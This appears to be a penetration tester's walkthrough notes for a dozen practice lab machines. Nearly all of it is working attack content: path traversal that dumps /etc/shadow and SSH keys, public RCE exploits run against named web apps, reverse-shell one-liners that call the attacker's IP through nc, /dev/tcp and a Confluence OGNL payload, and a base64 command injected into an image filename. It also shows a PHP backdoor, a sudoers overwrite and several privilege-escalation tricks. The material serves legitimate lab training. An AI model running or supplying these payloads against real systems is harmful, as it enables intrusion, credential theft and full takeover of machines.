According to the cassendra exploit we need to add 8 ` ../ `

cassie@clue:/$ curl --path-as-is http://0.0.0.0:9999/../../../../../../../../../../../../
etc/passwd

Now we are running this as a root user we can get the shadow file

http://0.0.0.0:9999/../../../../../../../../../../../../etc/passwd
http://0.0.0.0:9999/../../../../../../../../../../../../etc/passwd
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cassie@clue:/$ curl --path-as-is http://0.0.0.0:9999/../../../../../../../../../../../../
etc/shadow

We have all the users hashes !!

Let's get the id_rsa of anthony user

cassie@clue:/$ curl --path-as-is http://0.0.0.0:9999/../../../../../../../../../../../../
home/anthony/.ssh/id_rsa

you can see we have the anthony use id_rsa !!

cassie@clue:~/temp$ curl -O --path-as-is http://
0.0.0.0:9999/../../../../../../../../../../../../home/anthony/.ssh/id_rsa

Let's give the permissions to that and run the ssh command !!

cassie@clue:~/temp$ ssh -i anthony_id_rsa anthony@localhost

http://0.0.0.0:9999/../../../../../../../../../../../../etc/shadow
http://0.0.0.0:9999/../../../../../../../../../../../../etc/shadow
http://0.0.0.0:9999/../../../../../../../../../../../../home/anthony/.ssh/id_rsa
http://0.0.0.0:9999/../../../../../../../../../../../../home/anthony/.ssh/id_rsa
http://0.0.0.0:9999/../../../../../../../../../../../../home/anthony/.ssh/id_rsa
http://0.0.0.0:9999/../../../../../../../../../../../../home/anthony/.ssh/id_rsa


69/160

We are unable to login !!

Lol !!

Let's try to do with the root user !!

cassie@clue:~/temp$ ssh -i anthony_id_rsa root@localhost

Suprizingly we got access !!

got the proof.txt and unable to find the local.txt 

root@clue:/# sudo find / -name local.txt
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we got the local.txt file also !!

Levram

Brief:

OS:

IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.161.240 --open

NMAP Results:
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PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_  256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
8000/tcp open  http-alt WSGIServer/0.2 CPython/3.10.6
|_http-cors: GET POST PUT DELETE OPTIONS PATCH
|_http-server-header: WSGIServer/0.2 CPython/3.10.6
|_http-title: Gerapy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Date: Fri, 21 Jun 2024 15:38:30 GMT
|     Server: WSGIServer/0.2 CPython/3.10.6
|     Content-Type: text/html
|     Content-Length: 9979
|     Vary: Origin
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta http-equiv="content-type" content="text/html; charset=utf-8">
|     <title>Page not found at /nice ports,/Trinity.txt.bak</title>
|     <meta name="robots" content="NONE,NOARCHIVE">
|     <style type="text/css">
|     html * { padding:0; margin:0; }
|     body * { padding:10px 20px; }
|     body * * { padding:0; }
|     body { font:small sans-serif; background:#eee; color:#000; }
|     body>div { border-bottom:1px solid #ddd; }
|     font-weight:normal; margin-bottom:.4em; }
|     span { font-size:60%; color:#666; font-weight:normal; }
|     table { border:none; border-collapse: collapse; width:100%; }
|     vertical-align:top; padding:2px 3px; }
|     width:12em; text-align:right; color:#6
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Fri, 21 Jun 2024 15:38:25 GMT
|     Server: WSGIServer/0.2 CPython/3.10.6
|     Content-Type: text/html; charset=utf-8
|     Vary: Accept, Origin
|     Allow: OPTIONS, GET
|     Content-Length: 2530

=======================================================
========================

Web Service Enumeration:

[+ Nikto]
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[+ Fuzzing]

### LAB Steps:

→ There is port 8000 with http server running ..

http://192.168.223.24:8000/#/login

you can see the default credential worked !!'

admin : admin

Now we need to get the reverse shell !! 

http://192.168.223.24:8000/#/login
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see the version !!

there is a public exploit !!

Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)  → python/remote/
50640.py

# python3 50640.py -t 192.168.223.24 -p 8000 -L 192.168.45.205 -P 443

You can see the error !!

see the 76th line 
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basically it is taking the 1st digit of the project anme but there is no project exist in our web
app !!

create a test project
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you can see `test` project name

Now we need to add the name of the project in the exploit code !!

Now run the exploit again !!

# python3 50640.py -t 192.168.223.24 -p 8000 -L 192.168.45.205 -P 443
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you can see we got the shell !!

Let's get the good shelll !!

app@ubuntu:~/gerapy$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc
192.168.45.205 443 >/tmp/f

got the proper shell !!

got the local.txt file 
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PrivEsc: [Capabilities]

Automation : the winpeas result shows this is 95% vulnerable privesc vector !!

Manual :

app@ubuntu:/$ /usr/sbin/getcap -r / 2>/dev/null
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Exploit process: https://gtfobins.github.io/gtfobins/python/#capabilities

app@ubuntu:/$ python3.10 -c 'import os; os.setuid(0); os.system("/bin/sh")'

got the proof.txt

https://gtfobins.github.io/gtfobins/python/#capabilities
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Extplorer

Brief:

OS:

IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.161.240 --open

NMAP Results:
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PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)
|   256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)
|_  256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ when you open the port 80 you can see the wordpress Setup config page !!
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Tried multiple attack paths but all of them failed !!

Tried to Fuzz on port 80 so we can find some juicy endpoints !!

# feroxbuster --url http://192.168.161.16/ -w /usr/share/wordlists/seclists/
Discovery/Web-Content/raft-large-directories.txt 

You can see the /filemanager/ endpoint !!

you can see there is loogin panel tried ` admin:admin `

and got th access !!

http://192.168.161.16/
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You can see there is full directoties accessible !!! there is a directory listing enabled in the
wordpress /wp-includes/PHPMailer/

http://192.168.161.16/wp-includes/PHPMailer/

replace the actual PHPMailer.php php code to the reverse shell code and click on that php

http://192.168.161.16/wp-includes/PHPMailer/
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file to execute in the backend and get the shell !!

→ And Now click on the directotry listing php file !!

→ You can see We got the intial access !!
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We are www-data there is no local.txt

 

You can see first we need to get elevated as dora first !!

Just see the web part again and see for some config files !!

/filemanager/config/.htusers.php

www-data@dora:/var/www/html/filemanager/config$ cat .htusers.php
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You can see the dora user and hash has been leaked !!

Let's crack that hash !!

You can see the Hash name Blowfist [Unix]

Crack Using the Hashcat !!

$ su dora
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got local.txt

 
 
PrivExc:
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You can see the disk !!

you can see the Disk group privesc ..

Reference : https://www.hackingarticles.in/disk-group-privilege-escalation/

dora@dora:~/temp$ df -h

https://www.hackingarticles.in/disk-group-privilege-escalation/
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Mount to that Filesystem ..

dora@dora:~/temp$ debugfs /dev/mapper/ubuntu--vg-ubuntu--lv

debugfs:  cd /root

we can read the proof.txt

We need to get the shell let's read the /etc/shadow

debugfs:  cat /etc/shadow
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You can see the proof.txt and shadow file !!

Let's crack the hash !!

We cracked the hash !!

Let's quit the disk one and su the root user and enter the password !!
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Done the lab !!

Hub

Brief:

OS:

IP:
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Users:

Credetials:

=======================================================
========================

Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.161.240 --open

NMAP Results:

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
|   256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_  256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp   open  http     nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: 403 Forbidden
8082/tcp open  http     Barracuda Embedded Web Server
|_http-title: Home
| http-methods: 
|_  Potentially risky methods: PROPFIND PATCH PUT COPY DELETE MOVE MKCOL PROPPATCH
LOCK UNLOCK
| http-webdav-scan: 
|   Server Type: BarracudaServer.com (Posix)
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, PATCH, POST, PUT, COPY, DELETE,
MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK
|   WebDAV type: Unknown
|_  Server Date: Sat, 22 Jun 2024 08:27:46 GMT
|_http-server-header: BarracudaServer.com (Posix)
9999/tcp open  ssl/http Barracuda Embedded Web Server
|_http-server-header: BarracudaServer.com (Posix)
| http-webdav-scan: 
|   Server Type: BarracudaServer.com (Posix)
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, PATCH, POST, PUT, COPY, DELETE,
MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK
|   WebDAV type: Unknown
|_  Server Date: Sat, 22 Jun 2024 08:27:46 GMT
| http-methods: 
|_  Potentially risky methods: PROPFIND PATCH PUT COPY DELETE MOVE MKCOL PROPPATCH
LOCK UNLOCK
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| ssl-cert: Subject: commonName=FuguHub/stateOrProvinceName=California/
countryName=US
| Subject Alternative Name: DNS:FuguHub, DNS:FuguHub.local, DNS:localhost
| Not valid before: 2019-07-16T19:15:09
|_Not valid after:  2074-04-18T19:15:09
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ Strightly went to the port 8082 web port there is About TAB.

→ You can see the version detasila has been disclosed !!

http://192.168.161.25:8082/rtl/about.lsp

→ You can see FuguHub 8.4

Another Reference : https://github.com/ojan2021/Fuguhub-8.1-RCE/blob/main/
Fuguhub-8-1-RCE-Report.pdf

http://192.168.161.25:8082/rtl/about.lsp
https://github.com/ojan2021/Fuguhub-8.1-RCE/blob/main/Fuguhub-8-1-RCE-Report.pdf
https://github.com/ojan2021/Fuguhub-8.1-RCE/blob/main/Fuguhub-8-1-RCE-Report.pdf
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There is an exploit !!

https://github.com/SanjinDedic/FuguHub-8.4-Authenticated-RCE-
CVE-2024-27697

# python3 exploit.py -r 192.168.161.25 -rp 8082 -l 192.168.45.205 -p 80

Got the proof.txt

https://github.com/SanjinDedic/FuguHub-8.4-Authenticated-RCE-CVE-2024-27697
https://github.com/SanjinDedic/FuguHub-8.4-Authenticated-RCE-CVE-2024-27697
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Image

Brief:

OS:

IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.161.178 --open

NMAP Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)

http://192.168.161.178/
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| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: ImageMagick Identifier
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ Started with the http port 80 !!
→ There is an ImageMagick Identifier !!
→ Basically we need to upload the image !!

→ Just tried to upload the any image !!

→ After uploading the image it is leaking the version information !!
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ImageMagick 6.9.6-4  → Search for the exploits ..

https://github.com/ImageMagick/ImageMagick/issues/6339

Basically after the pipe `|` the commands are executing in the backend !!

So Let's try to put the bash reverse shell in base64 and get the reverse shell

we have created a fake .jpeg file intendenly !!

https://github.com/ImageMagick/ImageMagick/issues/6339
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and enter the following command !!

┌──(root💀kali)-[/home/…/offsec/pg/Lin/Image]
└─# ls
hai.jpeg  Nmap

# echo "/bin/bash -i >& /dev/tcp/192.168.45.205/8080 0>&1" | base64

┌──(root💀kali)-[/home/…/offsec/pg/Lin/Image]
└─# cp 'hai.jpeg' 'hai.jpeg|smile"`echo
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDUuMjA1LzgwODAgMD4
mMQo= | base64 -d | bash`".jpg'

Upload the malicious file now and listen on port 8080

We got the shell !!

and got the local.txt

PrivEsc: [SUID]

www-data@image:/home$ find / -perm -u=s -type f 2>/dev/null
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Exploit reference : https://gtfobins.github.io/gtfobins/strace/#suid

www-data@image:/home$ strace -o /dev/null /bin/sh -p

got the proof.txt

https://gtfobins.github.io/gtfobins/strace/#suid
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Law [Medium]

Brief:

OS:

IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.161.190 --open

NMAP Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
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| ssh-hostkey: 
|   3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
|   256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_  256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: htmLawed (1.2.5) test
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ Started with the http server port 80.
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The software version has been disclosed !!

Let's search for the exploits !!

Found one exploit but need to do some modifications !!

https://github.com/cosad3s/CVE-2022-35914-poc/

another reference : https://mayfly277.github.io/posts/GLPI-htmlawed-
CVE-2022-35914/#exploitation

in this exploit there is some default path we need to change it !!

But it is just an IP no endpoints tried to exploit but it failed !!

so Try to get the correct endpoint or it can be guissed as /index.php for every php
application !!

https://github.com/cosad3s/CVE-2022-35914-poc/
https://mayfly277.github.io/posts/GLPI-htmlawed-CVE-2022-35914/#exploitation
https://mayfly277.github.io/posts/GLPI-htmlawed-CVE-2022-35914/#exploitation
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Changed the exploit code !!

you can see we have commented the actual default path and entered the new path !!

# python3 CVE-2022-35914.py -u http://192.168.161.190/ -c "nc
192.168.45.205 8080 -e /bin/bash"

http://192.168.161.190/
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Got the local.txt

PrivEsc: [Cron-Job]

→ Tried multiple privesc vectors !!
→ But unable to get the things done !!

Tried to retrive all the cron jobs also nothing found intresting !!

Installed the pspy32 on the target machine and see all the runnning monitoring all the
internal processes !!

why pspy32 ? 

becasue it is 32bit OS !!

Upload to the target system and give executable permissions and run it !!

www-data@law:/dev/shm/temp$ ./pspy32
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You can see the backscript cleanup.sh file is running as root user !!

You can also see as a www-data user !! we can modify it !! 

www-data@law:/var/www$ echo "nc 192.168.45.205 8080 -e /bin/bash" >
cleanup.sh

and listen on port 8080 !!

After some time we got access as root user !!
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We got the proof.txt

LaVita [Medium]

Brief:

OS:

IP:

Users:

Credetials:

=======================================================
========================
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Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.161.190 --open

NMAP Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey: 
|   3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
|   256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_  256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: W3.CSS Template
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ There is again an http server on port 80 !!
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there is an Dropdown there is a demo login and register page !!

Enter any details and login !!

There is an upload feature but no use !! 

we can chnage the debug mode to enable and disable !!
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Don't have any idea what they are using !!

just navigated to any 404 page !!
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You can see they are using laravel 8.4.0 

Search for the larvel 8.4.0 debug rce exploit got the CVE ID: cve-2021-3129

Found a good Exploit in github : https://github.com/joshuavanderpoll/
CVE-2021-3129

# python3 CVE-2021-3129.py

we got the shell on port 4444

we got the shell as www-data user

https://github.com/joshuavanderpoll/CVE-2021-3129
https://github.com/joshuavanderpoll/CVE-2021-3129
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got the local.txt and found another user  → skunk

We are unable to create any new directories or files in that skunk directory only have read
permissions !!

So we need to elavte as skunk first then we need to get the root !!

Priv Esc: [Cron Jobs]

Tried all the priv Esc vectors but only found the croon jobs !! where one php file is run by the
skunk user and www-data user have all access on that file Just replaced that file and got the
shell !!

Uisng pspy32 we found the attack vector !!

www-data@debian:/dev/shm/temp$ ./pspy32

Now see the artisan file 

it is a php file so let's replace that file with the same name with our malicious file !!

www-data@debian:/var/www/html/lavita$ wget http://192.168.45.168/shell.php -O /
dev/shm/temp/artisan

http://192.168.45.168/shell.php
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www-data@debian:/var/www/html/lavita$ mv /dev/shm/temp/artisan artisan

And listen on 1234 we got the shell as skunk user !!

there is no tty on it just import the python tty !! [Most Important ]

PrivEsc: Sudo Misconfiguration [skunk to root ]

oon that foler only we can run as root that folder we don't ahve access to modify but the ww-
data user have so shoft to that shell and proceed the commands !!

www-data shell:

www-data@debian:/var/www/html/lavita$ mv composer.json composer.json.bk

www-data@debian:/var/www/html/lavita$ echo '{"scripts":{"x":"/bin/sh -i 0<&3
1>&3 2>&3"}}' > composer.json

skunk shell:

skunk@debian:/var/www/html/lavita$ sudo /usr/bin/composer --working-dir=/var/
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www/html/lavita run-script x

got access as root user !!

PC [Medium]

Brief:

OS:

IP:

Users:

Credetials:

=======================================================
========================
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Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.161.190 --open

NMAP Results:

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
8000/tcp open  http-alt ttyd/1.7.3-a2312cb (libwebsockets/3.2.0)
|_http-server-header: ttyd/1.7.3-a2312cb (libwebsockets/3.2.0)
|_http-title: ttyd - Terminal
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 Not Found
|     server: ttyd/1.7.3-a2312cb (libwebsockets/3.2.0)
|     content-type: text/html
|     content-length: 173
|     <html><head><meta charset=utf-8 http-equiv="Content-Language" content="en"/
><link rel="stylesheet" type="text/css" href="/error.css"/></head><body><h1>404</
h1></body></html>
|   GetRequest: 
|     HTTP/1.0 200 OK
|     server: ttyd/1.7.3-a2312cb (libwebsockets/3.2.0)
|     content-type: text/html
|     content-length: 677047
|     <!DOCTYPE html><

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:
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→ Started with the port 8000 !!
→ Seems to be it is indeed ther low privileged terminal .
→ Get the revere shell and we  can play for the privesc !!

PrivEsc: [rpc.py exploit] 

Two ways to check run the linpeas:

there is /opt/rpc.py is running by the root 
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there is a port 65432 is running !!

check the contents of the /opt/rpc.py
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Looking at network connections we notice that the RPC server is actually running,

Under, /etc/supervisor/conf.d directory,

We notice 2 files rpc.conf and ttyd.conf.
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Now that we have a better understanding about the services and the configurations let's dive
into exploitation.

Exploit code : https://github.com/ehtec/rpcpy-exploit/

Upload the escript to the target machien and change some things in code !!

add:

```
exec_command('echo "user ALL=(root) NOPASSWD: ALL" > /etc/sudoers')
```

https://github.com/ehtec/rpcpy-exploit/
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and exploit the code using the python3 !!

user@pc:/home/user/temp$ python3 rpcpy-exploit.py 

user@pc:/home/user/temp$ sudo -l

the exploit was successfull !!

and now enter sudo /bin/bash and get the root access !!
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got the proof.txt !!

Plum [Medium]

Brief:

OS:

IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.161.28 --open

NMAP Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
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| ssh-hostkey: 
|   3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
|   256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_  256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: PluXml - Blog or CMS, XML powered !
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ There is an http server port 80 running !!

it is pluXml CMS
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Click on the Administrator and you will be redirect to the login !!

admin : admin credentials worked for me !!

You can see the version details has been leaked !!

searchec for the authenticated rce exploits !!

github repo and youtube video exploit !!
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https://github.com/advisories/GHSA-mc3j-r9qr-6vgv

https://www.youtube.com/watch?v=Gbe2UNCB0tY 

Just replace the static.php file with the reverse shell php code and open the static .php file
and we got the shell !!

and open 192.168.161.28/index.php?static1/static-1

got the shell !!

https://github.com/advisories/GHSA-mc3j-r9qr-6vgv
https://www.youtube.com/watch?v=Gbe2UNCB0tY
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Got local.txt

PrivEsc: [Credetnails disclosure in /var/mail/www-data]

LinPeas :

there are some mail applications are installed in this box !!
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let's see the logs of the mail !!

you can see we are able to login as root user !!
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got the proof.txt 

Press

Brief:

OS:
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IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.200.29 --open

NMAP Results:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
|   256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_  256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Lugx Gaming Shop HTML5 Template
|_http-server-header: Apache/2.4.56 (Debian)
8089/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-generator: FlatPress fp-1.2.1
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: FlatPress
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ There is an intresting php web app running on port 8089 !!
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→ There is a Admin Login page !!

http://192.168.200.29:8089/login.php

default login → admin : password

There is an upload functionality !! Let's upload and php shell and get the reverse shell !!

http://192.168.200.29:8089/login.php
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Open the php file in new window:
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http://192.168.200.29:8089/fp-content/attachs/simple-backdoor.php?
cmd=whoami

The exploit works !!

Reverse shell paylaod:

payload: busybox nc 192.168.45.155 443 -e /bin/bash

http://192.168.200.29:8089/fp-content/attachs/simple-backdoor.php?
cmd=busybox%20nc%20192.168.45.155%20443%20-e%20/bin/bash 

got the shell !!

http://192.168.200.29:8089/fp-content/attachs/simple-backdoor.php?cmd=whoami
http://192.168.200.29:8089/fp-content/attachs/simple-backdoor.php?cmd=whoami
http://192.168.200.29:8089/fp-content/attachs/simple-backdoor.php?cmd=busybox%20nc%20192.168.45.155%20443%20-e%20/bin/bash
http://192.168.200.29:8089/fp-content/attachs/simple-backdoor.php?cmd=busybox%20nc%20192.168.45.155%20443%20-e%20/bin/bash
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there is no local.txt in this box !!

PrivEsc: [Sudo Misconfiguration] → 

Exploit: https://gtfobins.github.io/gtfobins/apt-get/#sudo

https://gtfobins.github.io/gtfobins/apt-get/#sudo
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www-data@debian:/$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
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got the proof.txt and root access !!

PyLoader

Brief:

OS:

IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):

=======================================================
========================
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# nmap -p- -sV -sC -oN Nmap 192.168.200.26 --open

NMAP Results:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_  256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
9666/tcp open  http    CherryPy wsgiserver
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Cheroot/8.6.0
| http-title: Login - pyLoad 
|_Requested resource was /login?next=http://192.168.200.26:9666/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ There is an http server 9666 

→ There is an Pyload login tried some default credentials no luck !!

→ Randomly searched for the pyload exploits iin searchsploit ..

# searchsploit pyload

PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE) → python/webapps/51532.py

http://192.168.200.26:9666/
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\

Just download the exploit and exploit and get the reverse shell !!

# python3 51532.py -u http://192.168.200.26:9666/ -c 'busybox nc
192.168.45.155 443 -e /bin/bash'

Got the reverse shell !!

got proof.txt and root access !!

http://192.168.200.26:9666/
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RubyDome

Brief:

OS:

IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.200.22 --open

NMAP Results:
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PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_  256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
3000/tcp open  http    WEBrick httpd 1.7.0 (Ruby 3.0.2 (2021-07-07))
|_http-title: RubyDome HTML to PDF
|_http-server-header: WEBrick/1.7.0 (Ruby/3.0.2/2021-07-07)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ Found the port 3000 running the http web server ..

Enter any random url and observe the responce ..

There is an error !!
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May be the PDFKit is a service they are using ??

let's check !!

Yes they are using the service !!

Let's check for the exploit !!
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pdfkit v0.8.7.2 - Command Injection  →  ruby/local/51293.py

# python3 51293.py -w http://192.168.200.22:3000/pdf -p url -c 'busybox nc
192.168.45.155 443 -e /bin/bash'

This is post request so we ahve addedd the /pdf and the param url see the burp request !!

Got the shell !!

http://192.168.200.22:3000/pdf
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got the local.txt

PrivEsc: [SUDO Misconfiguration]

andrew@rubydome:~$ sudo -l
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https://gtfobins.github.io/gtfobins/ruby/#sudo

you can see we can edit the app.rb

andrew@rubydome:~/app$ echo 'exec "/bin/sh"' > app.rb

andrew@rubydome:~/app$ sudo /usr/bin/ruby /home/andrew/app/app.rb

https://gtfobins.github.io/gtfobins/ruby/#sudo
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we got the root shell and proof.txt

Flu

Brief:

OS:

IP:

Users:

Credetials:

=======================================================
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========================

Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.200.22 --open

NMAP Results:

PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)

8090/tcp open  opsmessaging?
| fingerprint-strings: 

8091/tcp open  jamlink?
| fingerprint-strings: 

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ Stated with the http port 8090 it is runnign confluence sever !!

→ The version has been disclosed !!
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Found the exploit !!

https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-
confluence-cve-2022-26134/

Exploit curl command!!

# curl -v http://
192.168.200.41:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28
%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.la
ng.ProcessBuilder%28%29.command%28%27bash%27%2C%27-
c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/
192.168.45.155/4444%200%3E%261%27%29.start%28%29%22%29%7D/

you can see we got the inital shell !!

https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
